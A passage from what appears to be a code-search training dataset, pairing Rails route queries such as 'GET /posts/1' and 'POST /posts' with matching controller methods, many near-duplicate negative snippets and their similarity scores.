"0.65437686",
"0.65419716",
"0.65410036",
"0.6528237",
"0.65246344",
"0.6520045",
"0.65119064",
"0.6511185",
"0.64960027",
"0.64946514",
"0.64891815",
"0.6476575",
"0.64645535",
"0.6463598"
] | 0.0 | -1 |
GET /posts/1 GET /posts/1.json | def show
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def show\n @posts = Post.find(params[:id])\n render json: @posts\n end",
"def show\n render json: Post.find(params[\"id\"])\n end",
"def show\r\n post = Post.find(params[:id])\r\n render json: post\r\n end",
"def show\n @post = Post.find(params[:id])\n\n render json: @post\n end",
"def show\n \trender json: Post.find(params[:id])\n end",
"def show\n post = Post.find(params[:id])\n render json: post\n end",
"def show\n\t \trender json: Post.find(params[:id])\n\t end",
"def show\n @post = Post.where(:id => params[:id]).first\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def index\n\n @posts = Post.all\n\n render json: @posts, status: 200\n end",
"def index\n @posts = Post.all\n render json: @posts\n end",
"def index\n @posts = Post.all\n\n render json: @posts\n end",
"def index\n @posts = Post.all\n\n render json: @posts\n end",
"def index\n @posts = Post.all\n render json: @posts\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def show\n @user = User.find(params[:user_id])\n @post = @user.posts.find(params[:id])\n\n render json: @post\n end",
"def index\n @posts = Post.all\n respond_to do |format|\n format.html #index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json {render json: @posts}\n end\n end",
"def index\n\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @posts }\n end\n end",
"def show\n \n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def index\n render json: { posts: Post.all }\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def index\n @posts = Post.order(\"created_at DESC\").includes(:user)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def show\n @post ||= Mist::Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def show\n # when you go to http://localhost:3000/posts/1, rails interprets this\n # as a call to the show action for the resource and passes 1 to the \n # :id paramater. Using this blog app you can do that by clicking the \n # show link for a post on the index page.\n\n @post = Post.find(params[:id])\n # The show action uses Post.find to search for a single record \n # in the database by its id value. After finding the record, Rails \n # displays it by using app/views/posts/show.html.erb\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n post = Post.find_by(id: params[:id])\n if post \n render json: post\n else\n render json: {errors: 'Not found'}\n end\n end",
"def index\n render json: Post.all\n end",
"def index\n @posts = Mist::Post.recently_published(20, Mist.authorized?(:view_drafts, self))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @posts }\n end\n end",
"def index\n @posts = Post.all.order(created_at: :asc)\n json_response(@posts)\n end",
"def index\n @posts = Post.all\n \n render json: @posts\n end",
"def show\n @post = Post.find(params[:id])\n \n respond_to do |format|\n format.html { render 'application/index' }\n format.json { render :json => { :post => @post.as_json } }\n end\n end",
"def show\n render json: @post, serializer: Api::V1::PostSerializer\n end",
"def show\n render json: @post\n end",
"def show\r\n @post = root_post_of(Post.find(params[:id]))\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @post }\r\n end\r\n end",
"def show\n @api_v2_post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @api_v2_post }\n end\n end",
"def show\n render json: @post\n end",
"def index\n @posts = Post.paginate(:page => params[:page], :per_page => 10).order('id DESC')\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n format.atom\n end\n end",
"def index\n render json: Post.all.order(id: :desc), each_serializer: V1::Posts::PostSerializer\n end",
"def show\n render :json => @post\n end",
"def index\n # @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n # format.json { render json: @posts }\n end\n end",
"def index\n @api_v1_posts = Api::V1::Post.all\n end",
"def show\n @post = Post.find(params[:id])\n render json: @post, meta: { status: :ok }, meta_key: 'result'\n end",
"def show\n respond_to do |format|\n format.html\n format.json { render jsonapi: @post }\n end\n end",
"def show\n @posts = @game.posts.order(created_at: :desc).paginate(page: params[:page], per_page: 5)\n respond_to do |format|\n format.json { render template: 'api/games/game.json' }\n end\n end",
"def show\n @post = PostsService.getPostById(params[:id])\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @post }\n format.xml { render xml: @posts }\n end\n end",
"def index\n #@posts = Post.all\n @posts = Post.paginate( :page => params[:page],\n :per_page => 2\n )\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n @posts = Post.all\n # Post.all returns all of the posts currently in the \n # database as an array of Post records that we store \n # in an instance variable called @posts.\n # http://guides.rubyonrails.org/active_record_querying.html\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n # The respond_to block handles both HTML and JSON calls \n # to this action. If you browse to \n # http://localhost:3000/posts.json, you’ll see a JSON \n # containing all of the posts. \n end",
"def index\n\n # We display the posts be cronological inverted order\n if authenticated?\n @posts = Post.order('created_at DESC').page(params[:page])\n else\n @posts = Post.order('created_at DESC').where(:status => :true).page(params[:page])\n end\n \n respond_to do |format|\n format.html { render html: @posts }\n format.json { render json: @posts }\n end\n end",
"def show\n @user = User.find(params[:id])\n @posts = @user.posts\n\n respond_to do |format|\n format.json { render json: {user: User._build(@user), posts: Post.build_posts(@posts)}, location: root_path }\n end\n end",
"def index\n\t\tgon.posts = Post.all.as_json\n\tend",
"def index\n @posts = Post.order(\"created_at DESC\").where(:published => true).limit(5)\n @title = \"Home\"\n @description = \"the blog and website of bassist and programmer Johnny Grubb. no baseball information here.\"\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n format.xml\n end\n end",
"def display_posts\n begin\n response = RestClient.get \"#{@@DOMAIN}/api/posts.json?all\", authorization_hash\n\n puts \"Response code: #{response.code}\"\n puts \"Response cookies:\\n #{response.cookies}\\n\\n\"\n puts \"Response headers:\\n #{response.headers}\\n\\n\"\n puts \"Response content:\\n #{response.to_str}\"\n\n js = JSON response.body\n js.each do |item_hash|\n item_hash.each do |k, v|\n puts \"#{k}: #{v}\"\n end\n end\n rescue => e\n puts STDERR, \"Error accessing REST service. Error: #{e}\"\n end\n end",
"def show\n #@post = Post.find(params[:id])\n\n #respond_to do |format|\n # format.html # show.html.erb\n #format.json { render json: @post }\n #end\n end",
"def index\n @posts = Post.all\n @posts = paginate(@posts)\n authorize @posts\n\n render json: @posts, each_serializer: Api::V1::PostSerializer, meta: meta_attributes(@posts)\n end",
"def index\n @posts = Post.find(:all)\n end",
"def index\n render json: { posts: current_user.posts.all.map(&:to_h) }\n end",
"def show\n @post = current_user.posts.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def show\n @feed = Feed.find(params[:id])\n @posts = @feed.posts.order(\"published desc\").paginate(:page => params[:page], :per_page => 20)\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feed }\n end\n end",
"def index\n\t@posts = list_posts\n end",
"def posts(opts)\n response = get(\"posts\", opts)\n response\n end",
"def show\n #GET a single post by ID\n @post = Post.find(params[:id])\n end",
"def show\n @post = Post.find(params[:id])\n @title = @post.title\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def index\n # TODO: implement listing all posts\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n format.xml { render xml: @posts }\n end\n end",
"def show\n @blogpost = Blogpost.published.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @blogpost }\n end\n end",
"def show\n # @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n # format.json { render json: @post }\n end\n end",
"def post(postid)\n request(:id => postid).posts.first\n end",
"def show\n Rails.logger.debug(\"Inside show \")\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @posto = Posto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @posto }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n #format.json { render json: @post }\n format.json do\n render :json => @post.to_json(:only => [:id, :title, :text, :lat, :lng, :created_at, :post_type, :likes], \n :methods => [:image_url, :video_url], \n :include => [:comments])\n end\n end\n end",
"def index\n @posts = Post.all.reverse\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def display_post\n begin\n # asks the user for the post id\n print \"Enter the post ID: \"\n id = STDIN.gets.chomp\n response = RestClient.get \"#{@@DOMAIN}/api/posts/#{id}.json\", authorization_hash\n\n js = JSON response.body\n js.each do |k, v|\n puts \"#{k}: #{v}\"\n end\n rescue => e\n puts STDERR, \"Error accessing REST service. Error: #{e}\"\n end\n end",
"def index\n @posts = PostService.getAllPosts\n end",
"def show\n render json: {\n data: @post\n }\n end",
"def show\n @post = Post.find(params[:id])\n @videos = Video.get_for @post #where([\"post_id = ?\", params[:id]]).all\n @background = get_background_for @post #Background::DEFAULT #Background.where([\"post_id = ?\", params[:id]])\n @nav = get_navigation :for => 'post', :current => @post\n @menu = get_menu :for => 'post'\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def index\n @posts = Post.order(created_at: :desc)\n respond_to do |format|\n format.html { render }\n format.text { render }\n format.xml { render xml: @posts }\n format.json { render json: @posts.to_json }\n end\n end",
"def get(options = {})\n response= handle_errors { self.class.get('/get', :query => options)}\n if response[\"posts\"][\"post\"].is_a?(Hash)\n Rubycious::Post.new response[\"posts\"][\"post\"]\n elsif response[\"posts\"][\"post\"].is_a?(Array)\n response[\"posts\"][\"post\"].collect{|i| Rubycious::Post.new(i)}\n else\n nil\n end\n end",
"def show\n if !params[:id]\n @post = Post.find_by_title('Welcome')\n elsif params[:id] =~ /^[a-zA-Z ]+$/\n @post = Post.find_by_title(params[:id])\n else\n @post = Post.find(params[:id].to_i)\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @blogpost = Blogpost.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @blogpost }\n end\n end",
"def show\n @blog_post = BlogPost.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @blog_post }\n end\n end",
"def index\n @post = Post.find_by_id(params[:post_id])\n if @post.nil?\n return render json: { error: \"Post not found\" }, status: :not_found\n end\n render json: @post.comments,status: 200\n end",
"def show\n @post2 = Post2.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post2 }\n end\n end"
] | [
"0.7712599",
"0.7355032",
"0.7344417",
"0.7338935",
"0.732417",
"0.72942096",
"0.7277042",
"0.72568655",
"0.71634257",
"0.7161018",
"0.71573496",
"0.71573496",
"0.7121699",
"0.70960927",
"0.70960927",
"0.70960927",
"0.7095103",
"0.7072778",
"0.70621663",
"0.7046504",
"0.7032543",
"0.70204794",
"0.70204794",
"0.70204794",
"0.70204794",
"0.70204794",
"0.70204794",
"0.70204794",
"0.70204794",
"0.70204794",
"0.70204794",
"0.70204794",
"0.70204794",
"0.70204794",
"0.70204794",
"0.6989959",
"0.6956727",
"0.69558454",
"0.69558454",
"0.69386744",
"0.6937082",
"0.6924636",
"0.6918779",
"0.69031763",
"0.6902033",
"0.6896903",
"0.6896007",
"0.68761516",
"0.6860617",
"0.68543375",
"0.6853343",
"0.6848006",
"0.6837576",
"0.68256253",
"0.68105406",
"0.6805483",
"0.6763301",
"0.6744738",
"0.67226803",
"0.6721051",
"0.67156845",
"0.67144966",
"0.6698951",
"0.66928995",
"0.6682019",
"0.6656618",
"0.66463864",
"0.6642485",
"0.6631618",
"0.6620315",
"0.6619073",
"0.66126525",
"0.6610603",
"0.66024035",
"0.65976596",
"0.6597466",
"0.6592532",
"0.65865356",
"0.658253",
"0.6582063",
"0.65766907",
"0.6573866",
"0.6569273",
"0.6566528",
"0.6556098",
"0.6536182",
"0.6526606",
"0.6514966",
"0.65144324",
"0.64981675",
"0.6497003",
"0.6493739",
"0.6492063",
"0.6473186",
"0.6472772",
"0.64666295",
"0.6455165",
"0.6452661",
"0.64479727",
"0.644663",
"0.64289725"
] | 0.0 | -1 |
POST /posts POST /posts.json | def create
@post = Post.new(post_params)
@post.user_id = current_user.id
respond_to do |format|
if @post.save
format.html { redirect_to @post, notice: 'Post was successfully created.' }
format.json { render :show, status: :created, location: @post }
else
format.html { render :new }
format.json { render json: @post.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n render json: Post.create(params[\"post\"])\n end",
"def create\n respond_with Post.create(params[:posts])\n end",
"def create\n @post = Post.create(post_params)\n render json: @post, serializer: PostSerializer\n end",
"def create\n @post = Post.new(post_params)\n @post.user = current_user\n\n if @post.save\n render json: @post, status: :created, location: api_v1_post_path(@post), serializer: Api::V1::PostSerializer\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end",
"def create\n @post = current_user.posts.new(post_params)\n\n if @post.save\n render json: {\n data: @post\n }\n else\n render json: {\n errors: @post.errors\n }\n end\n end",
"def create\n post = @current_user.posts.create(post_params)\n\n if post.save\n render json: post\n else\n render json: { errors: post.errors.full_messages }, status: :forbidden\n end\n end",
"def create\n title = params[:title]\n body = params[:body]\n\n @post = current_user.posts.create(title: title, body: body)\n\n if @post.save!\n json_response(@post)\n else\n json_response(@post.errors)\n end\n end",
"def create\n @post = Post.new({ :title => params[:post][:title] })\n \n respond_to do |format|\n if @post.save\n format.json { render :json => { :post => @post.as_json}, :status => :created, :location => @post }\n else\n format.json { render :json => @post.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.find(params[:user_id])\n @post = @user.posts.new(post_params)\n\n if @post.save\n render json: @post, status: :created, location: [@user, @post]\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end",
"def create\n @post = Post.new(post_params)\n\n if @post.save\n render json: {\n message: 'Post was successfully created.'\n }, status: :created\n else\n render json: {\n errors: @post.errors,\n message: 'Post could not be created.'\n }, status: :unprocessable_entity\n end\n end",
"def post(id, opts = {})\r\n uri = url_for(\"posts/#{id}\", opts)\r\n response = RestClient.get(uri)\r\n JSON.parse response\r\n end",
"def create\n\n\n @post = current_user.posts.build(post_params)\n\n if @post.save\n\n render json: \"Posted successfully\", status: 201\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end",
"def create\n\t\tpost = @current_user.posts.create(post_params) \n\t\tif post.save\n\t\trender json: {success: true, auth_token: @current_user.authentication_token, post_id: post.id}\n\t else\n\t render json: {success: false, errors: post.errors.full_messages, message: \"Validation failed\"}, status: 422\n\t\tend \n\tend",
"def create\n @post = Post.new(params[:post])\n respond_to do |format|\n if @post.save\n format.json { render :json => @post }\n else\n format.json { render :json => @post.errors, :status => :unprocessable_entity}\n end\n end\n #respond_with Post.create(params[:post])\n end",
"def create_posts\n end",
"def create_posts\n end",
"def create_post\n begin\n #asks the user for the title, body, and whether it should be anonymous\n print \"Title: \"\n title = STDIN.gets.chomp\n print \"Body: \"\n body = STDIN.gets.chomp\n print \"Post as Anonymous? (y/n): \"\n anonymous = STDIN.gets.chomp.upcase == 'Y' ? true : false\n # check user information from login\n\n # Rails will reject this unless you configure the cross_forgery_request check to\n # a null_session in the receiving controller. This is because we are not sending\n # an authenticity token. Rails by default will only send the token with forms /users/new and\n # /users/1/edit and REST clients don't get those.\n # We could perhaps arrange to send this on a previous\n # request but we would then have to have an initial call (a kind of login perhaps).\n # This will automatically send as a multi-part request because we are adding a\n # File object.\n response = RestClient.post \"#{@@DOMAIN}/api/posts.json\",\n\n {\n post: {\n title: title,\n body: body,\n anonymous: anonymous\n },\n }, authorization_hash\n\n if (response.code == 201)\n puts \"Created successfully\"\n end\n puts \"URL for new resource: #{response.headers[:location]}\"\n rescue => e\n puts STDERR, \"Error accessing REST service. Error: #{e}\"\n end\n end",
"def create\n @api_post = Api::Post.new(api_post_params)\n\n if @api_post.save\n render json: @api_post, status: :created, location: @api_post\n else\n render json: @api_post.errors, status: :unprocessable_entity\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.json { render :show, status: :created, location: @post }\n else\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n \tif logged_in?\n params[:post][:user_id] = current_user.id\n @post = Post.new(post_params)\n if @post.save\n puts @post.published\n render json: @post\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end\n end",
"def create\n respond_with Post.create(post_params)\n end",
"def posts(opts)\n response = get(\"posts\", opts)\n response\n end",
"def post(*args)\n request(:post, *args)\n end",
"def post(*args)\n request :post, *args\n end",
"def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to posts_path, notice: 'Post was successfully created.' }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @api_post = current_user.posts.new(api_post_params)\n if @api_post.save\n render :show\n else\n render json: @api_post.errors, status: :unprocessable_entity\n end\n end",
"def create\n authenticated\n\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new post_params\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to posts_path, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n if @post.save\n render :show, status: :created, location: @post\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end",
"def create\n puts \"create post: #{post_params.inspect}\"\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n @title = \"Create New Post\"\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, :notice => 'Post was successfully created.' }\n format.json { render :json => @post, :status => :created, :location => @post }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @post.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to posts_path, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to posts_path, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def json_post\n @content_type = 'text/plain'\n @render_nothing = true\n @rendered_template = true\n @current_layout = nil\n puts \"json_post: submitting #{params[:path]}\" if @@debug\n path = params[:path]\n if path\n puts \"json_post: path is #{path} l=#{path.length}\" if @@debug\n path = path.split('/').compact()\n path.delete('')\n # you cannot make rooted nodes via json atm... fix? xxx\n if path.length > 1\n name = path.pop\n nodes = Note.make_path @user,path\n puts \"json_post: making at path #{path.join('/')}\" if @@debug\n if nodes\n note = nodes.last.make_child @user,params,name\n puts \"json_post: made child #{note} from #{name} l=#{name.length}\"\n params[:path] = path.join('/') # for call to json_query\n # it is important to do a query rather than returning the note; to get freshest order\n json_query\n return\n #write_json note if note\n end\n end\n end\n render :nothing => true\n end",
"def create\n post_service = PostService.new(current_user, params)\n post_service.create_post\n #post_service.create\n respond_to do |format|\n if post_service.save?\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { redirect_to new_post_url, alert: post_service.errors }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.json { render json: @post, status: :created, location: @post }\n format.xml { render xml: @post, status: :created, location: @post }\n else\n format.json { render json: @post.errors, status: :unprocessable_entity }\n format.xml { render xml: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n #raise params.inspect\n \n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @posts = Post.page(params[:page]).order('created_at desc')\n @post = Post.new(post_params)\n @user = User.where('account_id == ?', current_account.id)[0]\n respond_to do |format|\n if @post.save\n format.html { redirect_to '/posts' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :index }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n\t\t\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n user_post_param\n respond_to do |format|\n if @post.save\n format.html do\n redirect_to @post, notice:\n \"Post was successfully created.\"\n end\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json do\n render json: @post.errors, status:\n :unprocessable_entity\n end\n end\n end\n end",
"def create\n @api_v1_post = Api::V1::Post.new(api_v1_post_params)\n\n respond_to do |format|\n if @api_v1_post.save\n format.html { redirect_to @api_v1_post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @api_v1_post }\n else\n format.html { render :new }\n format.json { render json: @api_v1_post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = current_user.posts.new(params[:post])\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n @post.user_id = current_user.id\n respond_to do |format|\n if @post.save\n format.html { redirect_to posts_path, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { redirect_to posts_path, flash: { error: @post.errors.full_messages } }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post(path, data = {})\n request 'POST', path, body: data.to_json\n end",
"def create\n @user = current_user\n @post = @user.posts.build(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n post = Post.new\n render json: post\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save?\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: 'new' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: \"Post was successfully created.\" }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: \"Post was successfully created.\" }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\r\n @post = Post.new(params[:post])\r\n\r\n respond_to do |format|\r\n if @post.save\r\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\r\n format.json { render json: @post, status: :created, location: @post }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @post.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def create\n @post = Post.create(post_params)\n set_posts\n respond_to do |format|\n format.js\n format.html\n end\n end",
